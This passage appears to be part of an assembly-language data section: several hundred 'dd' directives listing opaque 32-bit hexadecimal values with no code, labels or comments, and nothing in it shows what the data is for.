		dd 94417AB2h, 2B1B39h, 9029FBCEh, 0E3A63FE4h, 11DEA807h
		dd 107057F7h, 1BD728h, 7446BF1h, 3F293742h, 455B6F0Fh
		dd 0A3D48009h, 8420A0h,	857FDF25h, 330EE8A5h, 0BEBB4100h
		dd 0FCAE4DCEh, 1EFDEEBFh, 9D7CB6h, 62E52389h, 0EC00C567h
		dd 0A210BA8Fh, 18AC8B04h, 21F2969Eh, 263C1622h,	0C5A90078h
		dd 47FF881Fh, 0ED8B009Fh, 28F6B9A8h, 0DD005E11h, 27187CBh
		dd 6E33523h, 0A34478F9h, 2E1E78FBh, 0C0AD62BCh,	0AAE4F7h
		dd 748F0DC4h, 43D74A06h, 1E32F518h, 1D5C91C8h, 0B19EEADCh
		dd 0C80F0510h, 0C5E88B10h, 0ADE2C07h, 0D6B09456h, 0B92B8Ch
		dd 7FD11E5Bh, 20E23E4Ah, 0C40C95Ch, 98115485h, 7CAEEEDh
		dd 0BB6BA97Eh, 0F76E0Ah, 130526A7h, 0C10F108Ah,	20DA962Ah
		dd 7C390C44h, 26500C3h,	2836B90Ah, 5C000DD2h, 66E795C5h
		dd 0A8DC9271h, 1C95390h, 4E4BBDE0h, 0E128A10Dh,	6CCAC088h
		dd 0C504D48h, 796860BFh, 73B90096h, 0C2D39E98h,	0B00189B4h
		dd 4963E421h, 0E2E4E330h, 4D180009h, 5EE0AEF4h,	2B0FB1BCh
		dd 80B0F60Ch, 8906E149h, 601700D7h, 0D52EDDB4h,	5A007725h
		dd 4FA8BFA7h, 0B8797374h, 0A3EA0033h, 0F8FD4A20h, 1CFE8AD9h
		dd 593FFB12h, 537E6800h, 6F99731h, 0FDCA0126h, 7942B1E4h
		dd 2B8D007Bh, 1CA0285Bh, 0D600023Fh, 1299A8E6h,	7CD352C9h
		dd 0BD360C82h, 4C80BF7Bh, 90B2710Fh, 6C042A4h, 7EFC901Fh
		dd 0DEAB1CDBh, 65FF41CBh, 20C52A5Ah, 170A4950h,	0F80B2706h
		dd 3EEC0C14h, 90BBB002h, 14DFCDh, 96826058h, 0A7D110BDh
		dd 0AFEFA61Fh, 5D788102h, 1DD7E037h, 0F047B22h,	0B7DBFEB9h
		dd 7C295100h, 8B1EB2A7h, 28C0E8C9h, 0F2A9A6B5h,	0E35D00DFh
		dd 0C35CD879h, 5600BE2Fh, 10621DCDh, 0E0E13Bh, 0D17C2A4Ch
		dd 16F809AEh, 79119860h, 1F5364E4h, 0C021FFFAh,	0CFE0ADCDh
		dd 0EB0022F9h, 3973F58Dh, 76905401h, 2F4B0081h,	9D0A3AADh
		dd 922EDB78h, 0DC00CFF5h, 4EC8F862h, 67600A53h,	0C02C03h
		dd 0BE182327h, 0BD14688Eh, 8C1F6Ah, 36E4F4E9h, 1C1612h
		dd 3B393CF1h, 0B487A677h, 9D12D00h, 0A185FF7h, 194704A1h
		dd 0D0C4DCA3h, 20C7F878h, 0E700B77Bh, 87381780h, 715B7460h
		dd 6DE00AAh, 4B63EECCh,	0B600C5BAh, 0D7D3AF4Dh,	0B43468h
		dd 0F4CD0F9Eh, 8FB76609h, 4BC0B0DCh, 4D854AEDh,	325047Ch
		dd 90284F38h, 420B77F8h, 82182B07h, 4A10EB83h, 2CED519h
		dd 1F0F5558h, 0B401572Fh, 41D4B1DEh, 0D8F348DFh, 4E5C610Eh
		dd 0FC11602Dh, 230057EDh, 1EFEF05Ah, 72C36833h,	143800B0h
		dd 0A3E5776Bh, 0E67E995Bh, 0E479C07h, 0D4829545h, 0B354604Fh
		dd 0BDB6003Dh, 0E7FB3EB1h, 920ED362h, 9FF812DDh, 7B3B0C00h
		dd 0D6D799h, 5E2C3A73h,	45437949h, 8A7CA703h, 98B0D388h
		dd 92BE71F7h, 37D50094h, 86D1D8AFh, 0B60FC975h,	0A17654E8h
		dd 3B4E525Ah, 0D54020h,	62EA0680h, 0E3372447h, 0F2946901h
		dd 0C659C4B1h, 0AE620C8h, 0C2E596F6h, 0A79B01E4h, 60F7642Eh
		dd 700E83Dh, 0B0D90860h, 7EFEABh, 0E514D8E9h, 88913745h
		dd 8F56AE00h, 0C21A734Dh, 3B9400B3h, 7D61AA8Eh,	8DF00F85h
		dd 0A25B48h, 6F9763AEh,	6CA512h, 6D21F536h, 0ACA2345Eh
		dd 0C718D500h, 31C56A79h, 1155073Eh, 0C017CB19h, 7467F514h
		dd 0E3832000h, 1FFD5FEEh, 0FCA7010h, 0D3F47C1Dh, 25581280h
		dd 0A400F539h, 0AED2C8Dh, 0D48F84h, 1CAE450Fh, 0B5A5BE10h
		dd 0E600087Fh, 0D60E35D8h, 0A6C759h, 0C701806h,	3682F705h
		dd 80277118h, 942D10h, 0AFF107C1h, 0AA7B8E89h, 0BC526E01h
		dd 783E1C26h, 4DD720h, 0C00EE1B2h, 66F2B3ADh, 28CB3300h
		dd 5A2CC43Eh, 92590414h, 0C0C199FBh, 27566647h,	49465500h
		dd 618AD872h, 0C49258D2h, 0F37416h, 1D57ACA1h, 6300A73Eh
		dd 9F66FE0Eh, 5478C7h, 0EB82FBDBh, 5717CA9Eh, 1A79D877h
		dd 0D9D5B509h, 5B842078h
		dd 30DFA8h, 0DDEA6E8Eh,	0BE8C7C92h, 4023501h, 8FEDEC10h
		dd 1AB7E0h, 81B06866h, 0BF2FC806h, 0F4ABB200h, 52265D7Bh
		dd 0EEE800FEh, 4F861F16h, 3E00D877h, 0DE7359C1h, 11C0A7h
		dd 0F1EADBA3h, 0E179CC13h, 54A049h, 24F6E420h, 3A400A6Fh
		dd 463A6726h, 36AC3D04h, 3EB4D0A3h, 14BA2B25h, 368A903h
		dd 0A00F47D7h, 0DE65BCC3h, 105F1818h, 6F89CC8Eh, 0A98CE0h
		dd 0D1D63983h, 2A35E1B4h, 0D4AF4B1Ch, 79829D80h, 0C26E8EEh
		dd 28474EB8h, 0E3547B80h, 0F620E250h, 0A7D23026h, 4431BE91h
		dd 9797100h, 13F04822h,	0A8E0EECDh, 33F7ED1Ch, 28D89724h
		dd 2038A4h, 13752B5Dh, 5CC27280h, 0D4333Eh, 0F4034D5Eh
		dd 758453ABh, 2D9F00D9h, 0D15BBC37h, 0CF00D71Dh, 0CE777BFDh
		dd 557424h, 0A3380DD3h,	0DE198FD6h, 3694FC00h, 0F7EE8A29h
		dd 1EDD76BCh, 708E75h, 2B118085h, 0CA073F20h, 6974E0AAh
		dd 0A98F0C20h, 42EF0095h, 5856A298h, 70003CF7h,	46577CAFh
		dd 0E636D180h, 0F28C0FE8h, 870088CDh, 3D7DA577h, 0A62F3503h
		dd 0E0FF3A3Eh, 0F5C40Fh, 56F9D0ADh, 86EF81BDh, 0B65C3CB8h
		dd 0B95500EEh, 0CC1BCA1Dh, 1AFAB4h, 973BC47Fh, 93E0E2FFh
		dd 39091200h, 1053F6E5h, 4652124Bh, 0E8044774h,	0EFBCB019h
		dd 0F4004A64h, 4CC3AFCDh, 775B534h, 0F2FB5203h,	91D6D71Dh
		dd 65A9AC1Ah, 0DA40CA84h, 2BF2F36Ch, 220016E2h,	9A872E57h
		dd 0FA01BEF4h, 0D8A20B3Bh, 70207911h, 2FBFC5Ah,	3AD4F000h
		dd 0B73E93E3h, 2D4E0075h, 0A8B2762Eh, 97B80E9Fh, 50C61E0Eh
		dd 343260B3h, 0B80535D3h, 9D920070h, 0D887D016h, 640030B7h
		dd 9EACDBFCh, 8E6FA5h, 40D27F43h, 0CBBB5C04h, 0E3974400h
		dd 0A7B99450h, 6B6331Eh, 85B41148h, 0E8CB071Dh,	0AC2E904Ch
		dd 0C40099A1h, 878117F1h, 5C2767h, 0C1184891h, 229B9B4h
		dd 0CCA2CB07h, 6E447B63h, 0AD901387h, 3645CAh, 655D6A77h
		dd 9BAF2616h, 35312C09h, 0BD9D00ABh, 945005CEh,	0B5E50098h
		dd 0C573687Ch, 0C9008677h, 55A8A328h, 1F139Ah, 0BA92D593h
		dd 463464BDh, 394AEF00h, 2E3A62E6h, 1A50014Dh, 0B51FC552h
		dd 248424A8h, 0BA2C037Bh, 89004814h, 7267D04Bh,	0CE81015Ah
		dd 56B6DA22h, 87D028BFh, 39C07790h, 5A83E1h, 5DF2F498h
		dd 1EBC4C6Eh, 0AEEAF30Fh, 7B69404Dh, 0A127DA8Dh, 6429B9E4h
		dd 63002048h, 8502976Dh, 71004C91h, 6AC3B740h, 0EB02044h
		dd 83795796h, 0AF200E6Fh, 91B6121Dh, 81CDE400h,	0A79DADB9h
		dd 0B7F200A1h, 10948880h, 1200DB89h, 9FB28E90h,	5A0AFBh
		dd 0B881D2E8h, 4B1B72EAh, 340EF670h, 80CDC06Ch,	106802F1h
		dd 8AA2002Eh, 0B4DEB871h, 0E4FBA9C4h, 0C30961E8h, 683CCEBEh
		dd 0BB78A94h, 976F677Fh, 0F9E2B381h, 0DE46F454h, 0D3DD7500h
		dd 0F4E05E40h, 9BFA0077h, 5DBC568Eh, 4D00D596h,	0A3796097h
		dd 0B10F2Ah, 0B9935164h, 0BE8B0D06h, 0D4B01279h, 7C0A8E07h
		dd 9DC01796h, 3A6129C8h, 3980F6AEh, 744C1CB0h, 0FF02C96Bh
		dd 0BF0FBE7Fh, 24B08066h, 3B02262Eh, 0B00B0F8h,	499A1D7Ah
		dd 81024B33h, 4DDBCD17h, 0DD40C869h, 200C3B62h,	42164304h
		dd 0C858C09Bh, 793FF56Bh, 2DF9984Fh, 0F60AE64h,	1525D30Ah
		dd 0C71F50E0h, 2203CA6Fh, 0AEBA62E5h, 0A89AF9CDh, 44352C20h
		dd 0DF3879BEh, 80233E14h, 135A0FF8h, 40F104h, 3A4B95B8h
		dd 4FAB4D43h, 0FF30BF00h, 995120DEh, 0F27400A0h, 0D94C9EBDh
		dd 0B07067Dh, 34B53D98h, 5C014780h, 57E0F9h, 0BF12532Fh
		dd 15B1AFA6h, 0CA678000h, 0A57C4D6Ah, 81EC3C27h, 0C48AF80Fh
		dd 6403EECEh, 7FD9D12Ch, 70DEE5B8h, 0BA01274Ch,	43D2F97Dh
		dd 9DD06ACDh, 602B7E52h, 0FF3C317Eh, 3A62C05Dh,	61696F11h
		dd 0E4D058D7h, 65B83037h, 86801818h, 72280D7Eh,	0E60624BBh
		dd 0C921459Eh, 0DCFE3898h, 4768D400h, 0E3181D9Fh, 80398700h
		dd 6A0DA6FBh, 0C628C0C8h, 0CE0A5A27h, 0E5FF7000h, 4A49AF7Dh
		dd 0ABF89772h, 0C2712800h, 0C9DA56C8h, 0BC6555ECh, 16F0807Eh
		dd 39003C24h, 0D1717DF1h, 9F84637h, 30FB4318h, 55B6A8C0h
		dd 0E23BD4EAh, 600795Fh, 1F1C7CABh, 0B02DB5A3h,	0C98C0076h
		dd 9C7DC391h, 6900A8B3h, 8A0408Ah, 38551AC0h, 0EF0278A5h
		dd 9CEBCDB7h, 0F8006051h, 0B469D8D0h, 0F6390C3Fh, 63394620h
		dd 0D2C30100h, 6C1EF2C8h, 0DDF03D5Bh, 3BC9DB80h, 0E4F72E22h
		dd 78047473h, 0CC7FE3AAh, 68CA2880h, 0D3F63D57h, 0ED764209h
		dd 54123900h, 0D303911h, 53FFD95Ah, 0C942F308h,	786055FDh
		dd 0E601E059h, 7620A1D4h, 93F83153h, 6F3F00D2h,	7EEF90ECh
		dd 0DBE0FB0Eh, 63FD160Fh, 0A67AE254h, 23984822h, 380F000Bh
		dd 802046DEh, 69004F6Eh, 8C372B71h, 0CD2951h, 0BEF5E170h
		dd 16C09558h, 75D05C00h, 5F9CBC27h, 450D003Dh, 39565D2Ah
		dd 2577507Fh, 48C19400h, 6D73F4BCh, 19740C63h, 1ABE1E70h
		dd 0FFFB0A00h, 2BD9F182h, 0DBF00055h, 1E1347FEh, 29C1CE05h
		dd 0A64DAF5Ah, 0A857E8h, 0B0300474h, 5F69DF9Fh,	0D73B7F07h
		dd 9BD0885Dh, 581AF0C3h, 90003B86h, 663C14D9h, 0A500B97Ch
		dd 89E1D723h, 772E20E5h, 177F010Ah, 985066B7h, 0E2B5CC4Ch
		dd 92A90F00h, 7A670E20h, 80C8002Dh, 39258336h, 0A1079E91h
		dd 0C9BDF07Fh, 8D15D751h, 1E651CE4h, 5C07C5h, 5B750BC7h
		dd 0BD00AB4Ch, 0AE18D748h, 0CCEA04h, 0B4882D07h, 0C7404A17h
		dd 36254E01h, 72F4A96Ah, 5935C4h, 758AD346h, 2560B423h
		dd 654BEC00h, 7EF87FA0h, 62203F2Dh, 969A7300h, 0C56C6880h
		dd 655C5500h, 0B6C9B9E8h, 0EA263F63h, 0AF844280h, 0A8D8FDF1h
		dd 460BD700h, 0A4C92C4Bh, 2A0D006Bh, 8ADF01FFh,	551D2230h
		dd 21CE96D2h, 710C0084h, 0FAB4801Ch, 0E5660F1Dh, 70B8AA32h
		dd 62004E2Ah, 0ACA079F7h, 74A101F5h, 64806B3h, 28C570A3h
		dd 8130ED18h, 3DCC03A1h, 0F33AE1D0h, 97829600h,	28AB8883h
		dd 0A80066F4h, 938B01D5h, 1E8D2220h, 0FC82BC41h, 64841E04h
		dd 5680EFAEh, 0E08E45h,	9FED5C8Ah, 66A7CCECh, 0D08F70C0h
		dd 0E8640789h, 36DE1FA9h, 0E6B6C0F5h, 0B2BB8AC0h, 0F4020100h
		dd 0D6147425h, 0B9AF000Fh, 0D7A5DC11h, 0AA0CC3D1h, 0B0634015h
		dd 0C88D0184h, 8C8EB48Ah, 7B448A8h, 75F21EDh, 0D13DB38Ch
		dd 43D68AA0h, 787E1AF2h, 39D0F00h, 185CF293h, 3A44F431h
		dd 76800CC7h, 8D6841AAh, 1C0927D0h, 802A50D5h, 9FB9826Ch
		dd 0E6AD790Fh, 902F0007h, 3B6617BCh, 2C0079CAh,	0F07ADEC4h
		dd 38144F2Dh, 6800616Ah, 0A771E4C8h, 4300B919h,	3D1F3413h
		dd 755B01Ch, 7663DE8Eh,	7457800Ch, 7900A6B3h, 771FC1C7h
		dd 0B7DECh, 0BB260A63h,	0EEB4A267h, 5D65FE00h, 8B7122E4h
		dd 2070020h, 0D16377D9h, 98000841h, 10704E1Eh, 0E5AAFE9h
		dd 6CAE822Fh, 409C4C4Ah, 0E46B0FC8h, 8A088E03h,	30B0E780h
		dd 2121DF08h, 0FCF46BA7h, 0C87D902h, 6010F53Dh,	0AA89DB4h
		dd 3EA667CEh, 3AA440B8h, 0ED28E033h, 533EC93h, 2700824h
		dd 33B1C221h, 38C0E532h, 5200E83Bh, 6235A29Dh, 6006A70Dh
		dd 0D588790Eh, 7665C258h, 6480E468h, 60F025Fh, 0B8826468h
		dd 0D0C828FEh, 6BABC0BAh, 0A8468ED8h, 2500F122h, 0DE4A6B23h
		dd 0EB7BC7Ch, 997D498Eh, 2BE276A3h, 0B0A80591h,	95683190h
		dd 12A49292h, 2EBDB2h, 0C15CA134h, 3B003E2Ch, 18C56AECh
		dd 0C1A3D146h, 0B384BB48h
		dd 0C02294h, 0A9A4D9A5h, 19C3C81Dh, 8C01470h, 0E821806Eh
		dd 21B3A571h, 0F81A1E4Bh, 3AFD5FCCh, 80685994h,	1B0BEF3Ch
		dd 0B8067BC6h, 0FB01A08Ah, 3E124885h, 320196Ch,	0D9E70758h
		dd 0A083EAFFh, 0B3EE292Bh, 122F3003h, 0F827CE1Ah, 2FD2DC79h
		dd 98789271h, 0CF2BB6A0h, 0A599F200h, 0B150092Dh, 1E5307AEh
		dd 70778DF9h, 8EA2ECFCh, 0F517300h, 9533CE41h, 0A17A007Ch
		dd 22EE0E9Fh, 0A4FE0132h, 87129700h, 0D0A5B37h,	0D32801E3h
		dd 76556FE0h, 8E198186h, 9E5D62ECh, 441002C8h, 0FA74068Ah
		dd 0D64C7600h, 245C30CCh, 7F9C0318h, 0D0CE8C71h, 5973280Bh
		dd 42698E0Dh, 0DF6221E9h, 36130FE0h, 5F982D00h,	0B9CC8038h
		dd 0F996480Fh, 3B46FE00h, 1DB522E6h, 719A7600h,	455B4935h
		dd 3C177A3h, 0E598583h,	22E0BB47h, 5E60B2AAh, 0C33C5B58h
		dd 35DF008Fh, 0FEDD420Ch, 9500CF76h, 0E5B3ADBAh, 32866B4h
		dd 0B7879D8Eh, 38010A3Eh, 7C5FB965h, 8DCC7547h,	0D4FB77A4h
		dd 56072450h, 0F11CFA63h, 0DC91869Ah, 6600FC2Ch, 0E7023E54h
		dd 39A42BDAh, 88072B5h,	0BCDBEEEFh, 4059F40h, 48502176h
		dd 0B240801Ch, 0D9DC880Bh, 37380105h, 555167C0h, 3A22718Ah
		dd 2401E0h, 0D783F74Bh,	0D4B12ED3h, 802F343Fh, 3C0E48FBh
		dd 0C8B7253h, 0C2A9EFDDh, 2D604C08h, 3C786F20h,	0B9A70983h
		dd 0DE801575h, 87590BDDh, 2F2820C0h, 38975B9Ah,	903A2B57h
		dd 8AC6A000h, 6502889Fh, 0E68C49DDh, 643184h, 0CAD29A70h
		dd 45E16087h, 1703DCFAh, 3858CC1Ch, 27290D6Fh, 20A8298Dh
		dd 0D90EA9BEh, 0A0B94190h, 83850C38h, 1FDA0C01h, 7E30F0FEh
		dd 2099E306h, 38390809h, 0A96FD882h, 29FC0546h,	0A27D880Fh
		dd 0E79A07A7h, 0DE716Ch, 674F499h, 0FF0255C0h, 710898F5h
		dd 3BC2BC21h, 0E8837AF4h, 80A41553h, 0C5366900h, 0B14B06EEh
		dd 0FE650E78h, 35C086F2h, 0FCA26285h, 892E5133h, 0E0ECFA6Ah
		dd 18F53138h, 6183E788h, 0E300F720h, 0AA85E29Bh, 32C2B1Bh
		dd 664D0FA2h, 8AD35597h, 0E9B90E88h, 0E4AC5D54h, 0E0B2B400h
		dd 0B0498CCDh, 0BEB714A8h, 7E22A40Fh, 0B450961Fh, 1A5BABC2h
		dd 0B58C8202h, 9965209Ch, 360519Ah, 0C7B84F11h,	15860388h
		dd 0BDAE3410h, 21B60830h, 3EC7B0F0h, 2500131Bh,	169274B8h
		dd 0F8A1DD9Ah, 1D511160h, 0C089319Dh, 72C3A0DEh, 3B04FDF5h
		dd 1A8F7077h, 2F568080h, 5120186Eh, 128E312Ch, 0B7750403h
		dd 89FE8D10h, 39C97673h, 90E73DF1h, 0CA19A3Fh, 99C2C9DFh
		dd 2A200C78h, 0BC57032Fh, 77A351B9h, 865F20E0h,	88287248h
		dd 0C3CD808Ch, 0FF0EF94Dh, 0E141EE00h, 6CBEBFC0h, 5C0B3147h
		dd 0DB26A460h, 48FE3100h, 0F94927F2h, 30040725h, 1A891E55h
		dd 3450E3Ch, 5C593920h,	290C6983h, 4106A1DFh, 0A1A0501Bh
		dd 0A3750C89h, 5A09707Dh, 993B21C0h, 0C95AD34h,	82269B84h
		dd 5238AA19h, 0DB350345h, 883EB349h, 0F63A998Bh, 0CBAB019Dh
		dd 7E9B11B6h, 4090E7CEh, 4141736h, 0E8EC85C4h, 9943ABh
		dd 0F3307906h, 77E499Ah, 0B90F94CBh, 0B1160083h, 0E6208AC4h
		dd 42F4C6Eh, 7C26626h, 0E098C0B9h, 86204004h, 0D9FA0C0Bh
		dd 0D06771Eh, 90C8986Dh, 0C7BBC135h, 4EEC618Fh,	0B3C10034h
		dd 3F42B2C7h, 40100B4h,	0D7A1889Ah, 90A88326h, 2DFCFE72h
		dd 86B64500h, 386091A2h, 0A33E0192h, 296AB5F7h,	0D8C459DEh
		dd 8923B734h, 84119Dh, 71349A30h, 0DF3958E7h, 45971F89h
		dd 497021B6h, 248241B0h, 3C64FF08h, 152B718h, 90FA531h
		dd 514F0934h, 8843892h,	34A260DDh, 0A58923B4h, 31017F11h
		dd 0E8FC349Bh, 50A8245Ch, 0FA98F509h, 80010E7Dh, 0FF1913BAh
		dd 21F1BE8h, 39BF3962h,	18C34A0h, 5003C78Ah, 0C275056Dh
		dd 0D2F5F01Eh, 0B3592Eh, 5D3C6880h, 448C9B72h, 0F200754Dh
		dd 0E97A543Ch, 3E86058h, 65F9848Ah, 67BB9B14h, 0AF584964h
		dd 993C7460h, 117B7223h, 0DE690060h, 8B66843Ch,	89C616CCh
		dd 411020E7h, 0B30419C2h, 66BFA4AAh, 0AC97AAC0h, 8A9A3A2Ch
		dd 7283420Ch, 0B0428E9h, 64CDE51Fh, 31C4788Bh, 0BC89307Eh
		dd 0AA5B006Ah, 1CD7B6E3h, 500A914Fh, 0E0271146h, 7165247h
		dd 0B3760139h, 2299885Ch, 0AEA8600Bh, 3C75048Ch, 38C372C4h
		dd 3CDF0068h, 0CEC80138h, 42E68071h, 0BA525511h, 0B8A68D00h
		dd 6EF8639Eh, 47DD4400h, 59DBEA3Fh, 7924916Ah, 3F1B185Ah
		dd 4BA6911h, 60B0B0E4h,	236E3C77h, 65119372h, 3CF17600h
		dd 81209AFh, 5CAE0D2Ch,	242FD297h, 71005F23h, 1F36C5D6h
		dd 89E62A19h, 13290F8h,	75A98102h, 0DCA88356h, 0F4038C79h
		dd 97DBFC73h, 1869CEB7h, 3981E628h, 6D01AF3Dh, 9FFFFC6Bh
		dd 0B42096CCh, 8E028CF1h, 0C589B834h, 104E19A2h, 34A765h
		dd 599B03C2h, 0BEBDB478h, 0FCF5262Ah, 0D851600h, 51DD2D9Ah
		dd 209F021Ah, 99FC2402h, 98041CECh, 480675F4h, 0BF809867h
		dd 80A1F4C1h, 999600C2h, 0ED784ACh, 6D0B7AB0h, 473ABDh
		dd 197123F4h, 82E81281h, 0E7020A9h, 5A54E91Eh, 0B1006EA4h
		dd 3DD9C633h, 32F540h, 0D4577D66h, 271CA84Dh, 5205D4A0h
		dd 0AD233E42h, 8F3C6A01h, 4B186B72h, 0E47388h, 0FFD67B3Ch
		dd 0F2E20270h, 261F0F13h, 7001E06Fh, 30278277h,	3B6C6393h
		dd 0AB5D9F88h, 0C2C55E80h, 0A96F10h, 62FAADDDh,	3C7253Ch
		dd 0DE83440Ch, 2A085106h, 58CCF1FDh, 0E50E365Bh, 6D6AFC31h
		dd 328E80B4h, 0C4DF45B3h, 0B67F7305h, 85805030h, 19C3F0C7h
		dd 0C872CE96h, 8B418D6h, 0B5868CC7h, 0BC4333C4h, 0EB0C7ACh
		dd 1B1C7A88h, 0A7808EAEh, 0CE510DA3h, 0E88B1E5h, 55AF0C75h
		dd 0AC6BA40h, 0A600ED47h, 0B0F3E4D9h, 54831E98h, 2C28B4B6h
		dd 7450B817h, 49005946h, 8D924F60h, 1424616Ch, 609387Ch
		dd 0CF684524h, 22358131h, 8E71ADB4h, 2E162CDCh,	5E606AB7h
		dd 0EB005746h, 68790DF0h, 0CE0593ADh, 64F49DC7h, 0AA10B82Fh
		dd 0DAC7DC99h, 8B83D0D3h, 33BBB087h, 2FB3021Eh,	52518472h
		dd 0C6B2D090h, 44BCE900h, 0E031BAEBh, 0B1EF0015h, 0E249235Eh
		dd 195C7972h, 0D988725Ch, 3B000CEh, 98594EDEh, 0F8004115h
		dd 9BBC04A6h, 9225FF20h, 0C4AC34h, 1B7CAC75h, 1E6FB9FEh
		dd 2F2CF200h, 96E35EAAh, 26F11B90h, 0D8D839F4h,	69032534h
		dd 709BB9F7h, 94960009h, 0D5FE1079h, 0A12AC140h, 3709A096h
		dd 1037841h, 8D579212h,	0AAA480CEh, 3AB1056Ch, 2725CECDh
		dd 873A4820h, 737C0445h, 0E4B8D306h, 3AA90552h,	4C813DCFh
		dd 8744A69Fh, 0D42C31A2h, 85126B1Dh, 0C600FDAAh, 113BAE97h
		dd 93C9A26h, 0E9372A3Fh, 0B4CEFC90h, 0D8CDE007h, 1ED0E75Bh
		dd 0B82332h, 56E1CFA1h,	0C26B7E94h, 8C01C8B0h, 0FE6EB17Bh
		dd 44E076E5h, 2EDC7786h, 4260E91Fh, 16026EBh, 0FF0E6FDDh
		dd 800486CDh, 33E8243Ah, 5842092Eh, 0A700CCB8h,	380F83F9h
		dd 0C24FD41Fh, 0E19C6D00h, 1B5BC4h, 0D933E4F1h,	0CAD83B37h
		dd 721FDBF4h, 4ECC2028h, 0FD4202Eh, 6DADB593h, 4962A6A0h
		dd 0D200A594h, 2DFBA267h, 6841D86h, 0FD0F3D20h,	0B93380E7h
		dd 80F10876h, 9F6AAEh, 0B76E3645h, 4DE4BC61h, 5A752403h
		dd 0F37CF23Eh, 2E88385Fh, 12874BB9h, 0C66BB0F7h, 0AF02D11Bh
		dd 9495268Ch, 0D49BC0EDh, 0A2D800C4h, 701A5FE4h, 6B60C888h
		dd 912F3FA8h, 81DB60DCh, 848D9A7Fh, 5901CEF8h, 52949762h
		dd 2180CCFBh, 0FAF28A12h
		dd 0AE00C8B8h, 76506254h, 0ABBEA3Bh, 386320F5h,	0D1B48384h
		dd 51EB5710h, 3F5668D0h, 0F84ED800h, 0B3B189Ch,	29670096h
		dd 3A63866Dh, 0A27CC009h, 0A80A78E8h, 0B823B675h, 2C633683h
		dd 0E7590E35h, 9CC070B8h, 5B1F55D8h, 0AC291D60h, 1BA492Fh
		dd 0C6DE36C2h, 0E0E29237h, 0F53721D3h, 6D804134h, 489AEAAh
		dd 0A32F5C7Bh, 5E6C002Dh, 0CE4904h, 0F5A197CBh,	0B75686D7h
		dd 9B4C8800h, 7EB831B3h, 6C3A5CC7h, 0DBA2E307h,	35AB3115h
		dd 0B9B0401Fh, 3B52607Eh, 544A07C4h, 0D350A650h, 1817E3D8h
		dd 0B1F4B976h, 0B300D0A3h, 751467A4h, 0B821650Eh, 0D5A9C070h
		dd 0D82B199Ch, 1E28E9E8h, 0CA001C56h, 610DAB30h, 18063B98h
		dd 281DF0ADh, 5E3B90ECh, 5B0B0C4Fh, 53118h, 0F0D5A974h
		dd 6D915217h, 402CAB18h, 0A86369h, 9A997854h, 0C602607Bh
		dd 0ADD8000h, 3DB6AB76h, 2F4918F2h, 0BED3313Ch,	0CB1581Fh
		dd 7B022E64h, 4AE29A90h, 60348110h, 90FB84E6h, 9CBD80h
		dd 0ED9338C2h, 7BE7B3E8h, 3B2C307Ah, 7506F710h,	3EA920B2h
		dd 0C02199Dh, 0A12EFC04h, 3630CCA0h, 84001C8Bh,	26130AEFh
		dd 2A0B3CEh, 96B4B5F9h,	9CB36D6Eh, 0B884D2F0h, 5F78B090h
		dd 0A8B480h, 1F1055E9h,	0CB2B6806h, 0A5938700h,	5A7D59Fh
		dd 1430CA4Fh, 765185DCh, 77ED800Eh, 1975E998h, 0C5C49703h
		dd 13B562h, 507C0ACh, 0CD38D74Ch, 0FA757300h, 0D6985019h
		dd 0C9FF482Ch, 0F9E97200h, 44C29E3Ch, 77FAF51Eh, 2818B0BDh
		dd 0FEA310ACh, 0A1A70757h, 30248E22h, 9743777Ah, 0DD7DC007h
		dd 318C6F3Bh, 82170041h, 4892879Fh, 7B768B22h, 687339h
		dd 7FFCBEA7h, 0C1E20B41h, 9A796989h, 4100CF70h,	1A95B45h
		dd 59A652h, 856882DBh, 3B421E0Ah, 97B76000h, 89D38C02h
		dd 76E20A0Fh, 8C8058CEh, 5008A98Bh, 0D69EF80Bh,	0F14D00B6h
		dd 84FADh, 0FE42957Ah, 8F5545E4h, 1806D100h, 40A3C30Ch
		dd 0F09D0363h, 6B9876D6h, 12695115h, 672D0154h,	3A527AF6h
		dd 3DAC2260h, 15308EFDh, 0DDF3E920h, 97738500h,	2F75D603h
		dd 0F549C940h, 121B9480h, 5A79BB55h, 0B2E6D00h,	0CDF339AFh
		dd 49E90F1Ah, 4FC1D3F2h, 801641A6h, 0FE4498C9h,	30D14EDDh
		dd 0DE515430h, 0F0015548h, 85130438h, 4AD9A5F2h, 0F2DC2D8h
		dd 1ECDA724h, 46690D13h, 22A94758h, 68801A41h, 0F578CD73h
		dd 7B7E7A1Fh, 0F213D300h, 0B0F90542h, 0F7AD2C48h, 8A340085h
		dd 61768173h, 658D0114h, 80606678h, 0F6280018h,	147E5564h
		dd 963E8A7Ah, 29CB30CDh, 80DE9A19h, 0BA180C62h,	0A19692Fh
		dd 0D1162E35h, 5A8100DEh, 0C265075Bh, 7A0BDC00h, 86CF3A55h
		dd 17F48Ch, 3CC949A9h, 94C04AEDh, 94190A8h, 0BD0F593Eh
		dd 652276h, 0F2391206h,	47DC82DDh, 96185360h, 0D97E74h
		dd 0CC2C9CD4h, 6CC0F328h, 0D453F17h, 1871A400h,	0C86AABD9h
		dd 0CF8016E8h, 5EA2111Dh, 534B0643h, 818F8B3Dh,	905C39h
		dd 4016733h, 67A75EDh, 7F8E0C1Dh, 71307944h, 4CF89968h
		dd 3AAE03ECh, 40115E39h, 8AF42095h, 30901ACEh, 5FEA8014h
		dd 0ACA070D0h, 83781377h, 254C5D00h, 0A8605976h, 6C4AC7Ch
		dd 585E7381h, 62243832h, 4C40F46Fh, 1D871DFh, 406D8C69h
		dd 895AB4D4h, 22DD9A69h, 80A3F858h, 5D445598h, 89450348h
		dd 0E719419Dh, 887A4902h, 907D8E70h, 0F09B038Ch, 7386146Eh
		dd 0FBC7B4DDh, 0B520FFE2h, 0AD6D8523h, 5C1A7100h, 8AE60855h
		dd 38816742h, 80F8C68Fh, 576F2A00h, 0E88C355Ah,	5EDD05A9h
		dd 278A1E7Fh, 258500B4h, 4807068Bh, 49A3740Ch, 0AC41E615h
		dd 97B47F50h, 3A9E70h, 44DF9035h, 523F7E63h, 6581606h
		dd 0A111DCh, 82C02ACDh,	6948887Bh, 449F7802h, 44ED4930h
		dd 8EBC802Ch, 0DC1318C6h, 95333945h, 0C951C400h, 55E5E8A7h
		dd 0D27300C2h, 0FC14AF46h, 0E482499h, 24574C74h, 0EF6F207Eh
		dd 49CA8CE6h, 0F8776319h, 0C1E17B5Eh, 0E019984Bh, 0E456CD8Eh
		dd 3468004Fh, 458B4278h, 41094071h, 6F39A81h, 40870D8h
		dd 0A68E7227h, 0C664C08Fh, 64F0AA36h, 82F974A1h, 0A4FEA218h
